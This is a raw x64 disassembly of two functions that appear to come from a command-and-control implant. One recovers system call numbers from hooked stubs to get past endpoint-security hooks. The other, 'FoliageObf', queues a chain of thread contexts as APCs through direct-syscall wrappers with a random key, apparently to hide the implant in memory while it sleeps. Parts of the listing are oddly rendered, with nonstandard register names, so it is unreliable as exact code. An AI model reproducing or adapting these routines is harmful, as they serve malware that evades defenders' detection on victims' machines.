1400132c7ret
140013280

1400132c8
1400132c8 // align 0x10

1400132d0
1400132d0FindSsnOfHookedSyscall:
1400132d0push r14
1400132d2mov r9, rcx
1400132d5mov r8l, 209
1400132dbpush r13
1400132ddpush r12
1400132dfmov r12, rdx
1400132e2push rbp
1400132e3push rdi
1400132e4mov rdi, rcx
1400132e7lea rcx, [rip+0x16132]
1400132eepush rsi
1400132efpush rbx
1400132f0lea rbx, [rip+0x193b9]
1400132f7mov rdx, rbx
1400132fasub rsp, 48
1400132femov [rsp+46], 0
140013305call printf
14001330acall GetSyscallSize
14001330ftest eax, eax
140013311jne 0x140013331
140013313lea r9, [rip+0x1617e]
14001331amov r8l, 212
140013320mov rdx, rbx
140013323lea rcx, [rip+0x1619d]
14001332acall printf
14001332fjmp 0x140013396
140013331
140013331loc_140013331:
140013331mov esi, eax
140013333mov ebp, eax
140013335lea r13, [rsp+46]
14001333amov ebx, 1
14001333f
14001333floc_14001333f:
14001333fmov r14l, ebp
140013342xor r9l, r9l
140013345xor edx, edx
140013347mov r8, r13
14001334alea rcx, [rdi+r14]
14001334ecall SysExtract
140013353test eax, eax
140013355je 0x140013360
140013357mov ax, [rsp+46]
14001335csub eax, ebx
14001335ejmp 0x14001337e
140013360
140013360loc_140013360:
140013360mov rcx, rdi
140013363xor r9l, r9l
140013366xor edx, edx
140013368mov r8, r13
14001336bsub rcx, r14
14001336ecall SysExtract
140013373test eax, eax
140013375je 0x14001338a
140013377mov ax, [rsp+46]
14001337cadd eax, ebx
14001337e
14001337eloc_14001337e:
14001337emov [r12], ax
140013383mov eax, 1
140013388jmp 0x140013398
14001338a
14001338aloc_14001338a:
14001338ainc ebx
14001338cadd ebp, esi
14001338ecmp ebx, 500
140013394jne 0x14001333f
140013396
140013396loc_140013396:
140013396xor eax, eax
140013398
140013398loc_140013398:
140013398add rsp, 48
14001339cpop rbx
14001339dpop rsi
14001339epop rdi
14001339fpop rbp
1400133a0pop r12
1400133a2pop r13
1400133a4pop r14
1400133a6ret
1400132d0

1400133a7
1400133a7 // align 0x10

1400133b0
1400133b0FoliageObf:
1400133b0push r15
1400133b2push r14
1400133b4xor r14l, r14l
1400133b7push r13
1400133b9push r12
1400133bbpush rbp
1400133bcpush rdi
1400133bdpush rsi
1400133bepush rbx
1400133bfsub rsp, 296
1400133c6mov [rsp+240], r14
1400133cemov [rsp+248], r14
1400133d6mov [rsp+256], r14
1400133demov [rsp+264], r14
1400133e6mov [rsp+272], r14
1400133eemov [rsp+280], r14
1400133f6mov [rsp+176], r14
1400133femov [rsp+184], r14
140013406mov [rsp+192], r14
14001340emov [rsp+232], r14
140013416mov r14, [rip+0x18f53]
14001341dmov [rsp+368], rcx
140013425mov rdx, [r14+44]
140013429mov eax, [r14+52]
14001342dmov [rsp+172], 64
140013438mov rcx, [r14+56]
14001343cmov [rsp+200], rdx
140013444mov [rsp+208], rax
14001344ctest rcx, rcx
14001344fje 0x14001346b
140013451mov r8l, [r14+64]
140013455test r8l, r8l
140013458je 0x14001346b
14001345amov [rsp+172], 32
140013465mov eax, r8l
140013468mov rdx, rcx
14001346b
14001346bloc_14001346b:
14001346bmov [rsp+216], rdx
140013473xor ebx, ebx
140013475mov [rsp+224], rax
14001347d
14001347dloc_14001347d:
14001347dcall RandomNumber32
140013482mov edx, eax
140013484lea rax, [rsp+272]
14001348cmov [rsp+rbx+272], dl
140013493inc rbx
140013496cmp rbx, 16
14001349ajne 0x14001347d
14001349cmov [rsp+248], rax
1400134a4xor r13l, r13l
1400134a7mov rax, 0x1000000010
1400134b1xor r8l, r8l
1400134b4mov [rsp+32], r13l
1400134b9lea rcx, [rsp+176]
1400134c1mov edx, 0x1f0003
1400134c6mov r9l, 1
1400134ccmov [rsp+240], rax
1400134d4mov rax, [rsp+200]
1400134dcmov [rsp+264], rax
1400134e4mov rax, [rsp+208]
1400134ecmov [rsp+260], eax
1400134f3mov [rsp+256], eax
1400134facall SysNtCreateEvent
1400134fftest eax, eax
140013501js 0x140013f7e
140013507xor edi, edi
140013509xor ebp, ebp
14001350bxor r12l, r12l
14001350emov [rsp+48], 1
140013516mov [rsp+80], rdi
14001351bor r9, -1
14001351fxor r8l, r8l
140013522lea rcx, [rsp+184]
14001352amov [rsp+72], 0x14000
140013533mov edx, 0x1fffff
140013538mov [rsp+64], 0x14000
140013541mov [rsp+56], rbp
140013546mov [rsp+40], r12
14001354bmov rax, [r14+228]
140013552mov [rsp+32], rax
140013557call SysNtCreateThreadEx
14001355ctest eax, eax
14001355ejs 0x140013f7e
140013564mov edx, 1232
140013569mov ecx, 64
14001356exor esi, esi
140013570call [r14+932]
140013577mov edx, 1232
14001357cmov ecx, 64
140013581mov [rsp+104], rax
140013586call [r14+932]
14001358dmov edx, 1232
140013592mov ecx, 64
140013597mov [rsp+160], rax
14001359fcall [r14+932]
1400135a6mov edx, 1232
1400135abmov ecx, 64
1400135b0mov [rsp+144], rax
1400135b8call [r14+932]
1400135bfmov edx, 1232
1400135c4mov ecx, 64
1400135c9mov rbp, rax
1400135cccall [r14+932]
1400135d3mov edx, 1232
1400135d8mov ecx, 64
1400135ddmov rbx, rax
1400135e0call [r14+932]
1400135e7mov edx, 1232
1400135ecmov ecx, 64
1400135f1mov [rsp+128], rax
1400135f9call [r14+932]
140013600mov edx, 1232
140013605mov ecx, 64
14001360amov [rsp+136], rax
140013612call [r14+932]
140013619mov edx, 1232
14001361emov ecx, 64
140013623mov r15, rax
140013626call [r14+932]
14001362dmov edx, 1232
140013632mov ecx, 64
140013637mov r12, rax
14001363acall [r14+932]
140013641mov edx, 1232
140013646mov ecx, 64
14001364bmov [rsp+112], rax
140013650call [r14+932]
140013657mov edx, 1232
14001365cmov ecx, 64
140013661mov r13, rax
140013664call [r14+932]
14001366bmov edx, 1232
140013670mov ecx, 64
140013675mov [rsp+120], rax
14001367acall [r14+932]
140013681or r8, -1
140013685or rcx, -1
140013689lea r9, [rsp+192]
140013691mov [rsp+152], rax
140013699mov rax, [rsp+104]
14001369emov rdx, -2
1400136a5mov [rax+48], 0x10000b
1400136acmov rax, [rsp+160]
1400136b4mov [rax+48], 0x10000b
1400136bbmov rax, [rsp+144]
1400136c3mov [rax+48], 0x10000b
1400136camov rax, [rsp+128]
1400136d2mov [rbp+48], 0x10000b
1400136d9mov [rbx+48], 0x10000b
1400136e0mov [rax+48], 0x10000b
1400136e7mov rax, [rsp+136]
1400136efmov [rax+48], 0x10000b
1400136f6mov rax, [rsp+112]
1400136fbmov [r15+48], 0x10000b
140013703mov [r12+48], 0x10000b
14001370cmov [rax+48], 0x10000b
140013713mov rax, [rsp+120]
140013718mov [r13+48], 0x10000b
140013720mov [rax+48], 0x10000b
140013727mov rax, [rsp+152]
14001372fmov [rax+48], 0x10000b
140013736mov [rsp+48], esi
14001373amov [rsp+40], esi
14001373emov [rsp+32], 0x1fffff
140013746call SysNtDuplicateObject
14001374btest eax, eax
14001374djs 0x140013e04
140013753mov rdx, [rsp+104]
140013758mov rcx, [rsp+184]
140013760call [r14+588]
140013767test eax, eax
140013769js 0x140013e04
14001376fmov rsi, [rsp+104]
140013774mov ecx, 308
140013779mov rdi, rbp
14001377cxor r10l, r10l
14001377frep movsd [rdi], [rsi]
140013781mov rsi, [rsp+104]
140013786mov ecx, 308
14001378bmov rdi, rbx
14001378elea r8, [rsp+256]
140013796xor r11l, r11l
140013799rep movsd [rdi], [rsi]
14001379bmov rdi, [rsp+128]
1400137a3mov rsi, [rsp+104]
1400137a8mov ecx, 308
1400137adrep movsd [rdi], [rsi]
1400137afmov rdi, [rsp+136]
1400137b7mov rsi, [rsp+104]
1400137bcmov ecx, 308
1400137c1rep movsd [rdi], [rsi]
1400137c3mov rsi, [rsp+104]
1400137c8mov ecx, 308
1400137cdmov rdi, r15
1400137d0rep movsd [rdi], [rsi]
1400137d2mov rsi, [rsp+104]
1400137d7mov ecx, 308
1400137dcmov rdi, r12
1400137dfrep movsd [rdi], [rsi]
1400137e1mov rdi, [rsp+112]
1400137e6mov rsi, [rsp+104]
1400137ebmov ecx, 308
1400137f0rep movsd [rdi], [rsi]
1400137f2mov rsi, [rsp+104]
1400137f7mov ecx, 308
1400137fcmov rdi, r13
1400137ffrep movsd [rdi], [rsi]
140013801mov rdi, [rsp+120]
140013806mov rsi, [rsp+104]
14001380bmov ecx, 308
140013810rep movsd [rdi], [rsi]
140013812mov rdi, [rsp+152]
14001381amov ecx, 308
14001381fmov rsi, [rsp+104]
140013824rep movsd [rdi], [rsi]
140013826mov [rbp+48], 0x10000b
14001382dmov rsi, [rsp+128]
140013835mov rax, [r14+620]
14001383cmov [rbp+248], rax
140013843mov rax, [rbp+152]
14001384alea rdx, [rax-53248]
140013851mov [rbp+152], rdx
140013858mov rdx, [rsp+176]
140013860mov [rbp+128], rdx
140013867xor edx, edx
140013869mov [rbp+136], rdx
140013870mov [rbp+184], rdx
140013877mov rdx, [r14+628]
14001387emov [rax-53248], rdx
140013885mov rax, [r14+676]
14001388cmov [rbx+48], 0x10000b
140013893mov [rbx+248], rax
14001389amov rax, [rbx+152]
1400138a1mov [rbx+128], -1
1400138aclea rdx, [rax-49152]
1400138b3mov [rbx+192], 4
1400138bemov [rbx+152], rdx
1400138c5lea rdx, [rsp+200]
1400138cdmov [rbx+136], rdx
1400138d4lea rdx, [rsp+208]
1400138dcmov [rbx+184], rdx
1400138e3mov rdx, [r14+628]
1400138eamov [rax-49152], rdx
1400138f1lea rdx, [rsp+232]
1400138f9mov [rax-49112], rdx
140013900mov rax, [rsp+128]
140013908mov [rax+48], 0x10000b
14001390fmov rax, [r14+1372]
140013916mov [rsi+248], rax
14001391dmov rax, [rsi+152]
140013924lea rcx, [rax-45056]
14001392bmov [rsi+152], rcx
140013932mov r9, [r14+628]
140013939lea rcx, [rsp+240]
140013941mov [rsi+128], r8
140013948mov rdi, [rsp+160]
140013950mov [rsi+136], rcx
140013957mov rsi, [rsp+136]
14001395fmov [rax-45056], r9
140013966mov rax, [rsp+136]
14001396emov [rax+48], 0x10000b
140013975mov rax, [r14+588]
14001397cmov [rsi+136], rdi
140013983mov [rsi+248], rax
14001398amov rax, [rsi+152]
140013991lea r9, [rax-40960]
140013998mov [rsi+152], r9
14001399fmov r9, [rsp+192]
1400139a7mov [rsi+128], r9
1400139aemov r9, [r14+628]
1400139b5mov rsi, [rsp+144]
1400139bdmov [rax-40960], r9
1400139c4mov rax, [r14+596]
1400139cbmov [r15+48], 0x10000b
1400139d3mov [r15+248], rax
1400139damov rax, [r15+152]
1400139e1mov [r15+136], rsi
1400139e8lea r9, [rax-36864]
1400139efmov [r15+152], r9
1400139f6mov r9, [rsp+192]
1400139femov [r15+128], r9
140013a05mov r9, [r14+628]
140013a0cmov [rax-36864], r9
140013a13mov rax, [r14+1692]
140013a1amov [r12+48], 0x10000b
140013a23mov [r12+248], rax
140013a2bmov rax, [r12+152]
140013a33lea r9, [rax-32768]
140013a3amov [r12+152], r9
140013a42mov r9, [rsp+192]
140013a4amov rsi, [rsp+368]
140013a52mov [r12+128], r9
140013a5axor r9l, r9l
140013a5dmov edi, [rsi]
140013a5fmov rsi, [rsp+112]
140013a64mov [r12+184], r9
140013a6cmov r9, [r14+628]
140013a73mov [r12+136], rdi
140013a7bmov [rax-32768], r9
140013a82mov rax, [rsp+112]
140013a87mov [rax+48], 0x10000b
140013a8emov rax, [r14+1372]
140013a95mov [rsi+136], rcx
140013a9cmov rcx, [r14+628]
140013aa3mov [rsi+248], rax
140013aaamov rax, [rsi+152]
140013ab1mov [rsi+128], r8
140013ab8mov r8, rbp
140013abblea r9, [rax-28672]
140013ac2mov [rsi+152], r9
140013ac9mov esi, [rsp+172]
140013ad0xor r9l, r9l
140013ad3mov [rax-28672], rcx
140013adamov rax, [r14+676]
140013ae1mov [r13+48], 0x10000b
140013ae9mov [r13+248], rax
140013af0mov rax, [r13+152]
140013af7mov [r13+192], rsi
140013afelea rcx, [rax-24576]
140013b05mov [r13+128], -1
140013b10mov [r13+152], rcx
140013b17lea rcx, [rsp+216]
140013b1fmov [r13+136], rcx
140013b26lea rcx, [rsp+224]
140013b2emov [r13+184], rcx
140013b35mov rcx, [r14+628]
140013b3cmov [rax-24536], rdx
140013b43mov [rax-24576], rcx
140013b4amov rax, [rsp+120]
140013b4fmov rsi, [rsp+120]
140013b54mov [rax+48], 0x10000b
140013b5bmov rax, [r14+596]
140013b62mov rdi, rsi
140013b65mov [rsi+248], rax
140013b6cmov rax, [rsi+152]
140013b73lea rdx, [rax-20480]
140013b7amov [rsi+152], rdx
140013b81mov rdx, [rsp+192]
140013b89mov [rsi+128], rdx
140013b90mov rdx, [r14+628]
140013b97mov rsi, [rsp+160]
140013b9fmov [rdi+136], rsi
140013ba6mov rdi, [rsp+152]
140013baemov [rax-20480], rdx
140013bb5mov rax, [rsp+152]
140013bbdmov rdx, [r14+628]
140013bc4mov [rax+48], 0x10000b
140013bcbmov rax, [r14+364]
140013bd2sub [rdi+152], 16384
140013bddmov [rdi+248], rax
140013be4mov rax, [rbp+152]
140013bebmov [rdi+128], r10
140013bf2mov [rax], rdx
140013bf5mov rdx, [r14+692]
140013bfcmov [rsp+32], r11
140013c01mov rcx, [rsp+184]
140013c09call SysNtQueueApcThread
140013c0etest eax, eax
140013c10js 0x140013e04
140013c16xor eax, eax
140013c18mov rdx, [r14+692]
140013c1fxor r9l, r9l
140013c22mov r8, rbx
140013c25mov [rsp+32], rax
140013c2amov rcx, [rsp+184]
140013c32call SysNtQueueApcThread
140013c37test eax, eax
140013c39js 0x140013e04
140013c3fxor eax, eax
140013c41mov rdx, [r14+692]
140013c48xor r9l, r9l
140013c4bmov r8, [rsp+128]
140013c53mov [rsp+32], rax
140013c58mov rcx, [rsp+184]
140013c60call SysNtQueueApcThread
140013c65test eax, eax
140013c67js 0x140013e04
140013c6dxor eax, eax
140013c6fmov rdx, [r14+692]
140013c76xor r9l, r9l
140013c79mov r8, [rsp+136]
140013c81mov [rsp+32], rax
140013c86mov rcx, [rsp+184]
140013c8ecall SysNtQueueApcThread
140013c93test eax, eax
140013c95js 0x140013e04
140013c9bxor eax, eax
140013c9dmov rdx, [r14+692]
140013ca4xor r9l, r9l
140013ca7mov r8, r15
140013caamov [rsp+32], rax
140013cafmov rcx, [rsp+184]
140013cb7call SysNtQueueApcThread
140013cbctest eax, eax
140013cbejs 0x140013e04
140013cc4mov r14, [rip+0x186a5]
140013ccbxor eax, eax
140013ccdxor r9l, r9l
140013cd0mov r8, r12
140013cd3mov rcx, [rsp+184]
140013cdbmov rdx, [r14+692]
140013ce2mov [rsp+32], rax
140013ce7call SysNtQueueApcThread
140013cectest eax, eax
140013ceejs 0x140013e04
140013cf4xor edi, edi
140013cf6mov r8, [rsp+112]
140013cfbxor r9l, r9l
140013cfemov rdx, [r14+692]
140013d05mov [rsp+32], rdi
140013d0amov rcx, [rsp+184]
140013d12call SysNtQueueApcThread
140013d17test eax, eax
140013d19js 0x140013e04
140013d1fxor esi, esi
140013d21mov rdx, [r14+692]
140013d28xor r9l, r9l
140013d2bmov r8, r13
140013d2emov [rsp+32], rsi
140013d33mov rcx, [rsp+184]
140013d3bcall SysNtQueueApcThread
140013d40test eax, eax
140013d42js 0x140013e04
140013d48xor r11l, r11l
140013d4bmov r8, [rsp+120]
140013d50xor r9l, r9l
140013d53mov rdx, [r14+692]
140013d5amov [rsp+32], r11
140013d5fmov rcx, [rsp+184]
140013d67call SysNtQueueApcThread
140013d6ctest eax, eax
140013d6ejs 0x140013e04
140013d74xor r10l, r10l
140013d77mov rdx, [r14+692]
140013d7exor r9l, r9l
140013d81mov r8, [rsp+152]
140013d89mov [rsp+32], r10
140013d8emov rcx, [rsp+184]
140013d96call SysNtQueueApcThread
140013d9btest eax, eax
140013d9djs 0x140013e04
140013d9fmov rcx, [rsp+184]
140013da7xor edx, edx
140013da9call SysNtAlertResumeThread
140013daetest eax, eax
140013db0js 0x140013e04
140013db2mov rax, [rsp+144]
140013dbaxor r9l, r9l
140013dbdxor r8l, r8l
140013dc0mov rsi, [rsp+144]
140013dc8mov rdx, [rsp+184]
140013dd0mov rcx, [rsp+176]
140013dd8mov [rax+48], 0x10000b
140013ddfmov rax, [r14+1692]
140013de6mov [rsi+248], rax
140013dedmov rax, [r14+2230]
140013df4mov rax, [rax+8]
140013df8mov [rsi+152], rax
140013dffcall SysNtSignalAndWaitForSingleObject
140013e04
140013e04loc_140013e04:
140013e04mov rdi, [rip+0x18565]
140013e0bmov rcx, [rsp+152]
140013e13call [rdi+940]
140013e19mov rcx, [rsp+120]
140013e1ecall [rdi+940]
140013e24test r13, r13
140013e27je 0x140013e32
140013e29mov rcx, r13
140013e2ccall [rdi+940]
140013e32
140013e32loc_140013e32:
140013e32cmp [rsp+112], 0
140013e38mov r13, [rip+0x18531]
140013e3fje 0x140013e4d
140013e41mov rcx, [rsp+112]
140013e46call [r13+940]
140013e4d
140013e4dloc_140013e4d:
140013e4dtest r12, r12
140013e50je 0x140013e5c
140013e52mov rcx, r12
140013e55call [r13+940]
140013e5c
140013e5cloc_140013e5c:
140013e5ctest r15, r15
140013e5fje 0x140013e6b
140013e61mov rcx, r15
140013e64call [r13+940]
140013e6b
140013e6bloc_140013e6b:
140013e6btest rbx, rbx
140013e6eje 0x140013e7a
140013e70mov rcx, rbx
140013e73call [r13+940]
140013e7a
140013e7aloc_140013e7a:
140013e7atest rbp, rbp
140013e7dje 0x140013e89
140013e7fmov rcx, rbp
140013e82call [r13+940]
140013e89
140013e89loc_140013e89:
140013e89cmp [rsp+144], 0
140013e92je 0x140013ea3
140013e94mov rcx, [rsp+144]
140013e9ccall [r13+940]
140013ea3
140013ea3loc_140013ea3:
140013ea3cmp [rsp+160], 0
140013eacje 0x140013ebd
140013eaemov rcx, [rsp+160]
140013eb6call [r13+940]
140013ebd
140013ebdloc_140013ebd:
140013ebdcmp [rsp+104], 0
140013ec3je 0x140013ed1
140013ec5mov rcx, [rsp+104]
140013ecacall [r13+940]
140013ed1
140013ed1loc_140013ed1:
140013ed1mov rcx, [rsp+192]
140013ed9test rcx, rcx
140013edcje 0x140013eee
140013edecall SysNtClose
140013ee3xor r9l, r9l
140013ee6mov [rsp+192], r9
140013eee
140013eeeloc_140013eee:
140013eeemov rcx, [rsp+184]
140013ef6test rcx, rcx
140013ef9je 0x140013f0d
140013efbxor edx, edx
140013efdcall SysNtTerminateThread
140013f02xor r8l, r8l
140013f05mov [rsp+184], r8
140013f0d
140013f0dloc_140013f0d:
140013f0dmov rcx, [rsp+176]
140013f15test rcx, rcx
140013f18je 0x140013f29
140013f1acall SysNtClose
140013f1fxor ecx, ecx
140013f21mov [rsp+176], rcx
140013f29
140013f29loc_140013f29:
140013f29mov edx, 16
140013f2exor eax, eax
140013f30lea rdi, [rsp+256]
140013f38mov rcx, rdx
140013f3brep stosb [rdi], al
140013f3dlea rdi, [rsp+240]
140013f45mov rcx, rdx
140013f48rep stosb [rdi], al
140013f4alea rdi, [rsp+272]
140013f52mov rcx, rdx
140013f55rep stosb [rdi], al
140013f57mov rax, [rsp+368]
140013f5fmov rcx, [rax+4]
140013f63call [r13+1508]
140013f6aadd rsp, 296
140013f71pop rbx
140013f72pop rsi
140013f73pop rdi
140013f74pop rbp
140013f75pop r12
140013f77pop r13
140013f79pop r14
140013f7bpop r15
140013f7dret
140013f7e
140013f7eloc_140013f7e:
140013f7exor edx, edx
140013f80xor eax, eax
140013f82xor r12l, r12l
140013f85xor ebp, ebp
140013f87mov [rsp+112], rax
140013f8cxor ebx, ebx
140013f8exor r15l, r15l
140013f91mov [rsp+104], rdx
140013f96mov [rsp+160], rdx
140013f9emov [rsp+144], rdx
140013fa6jmp 0x140013e32
1400133b0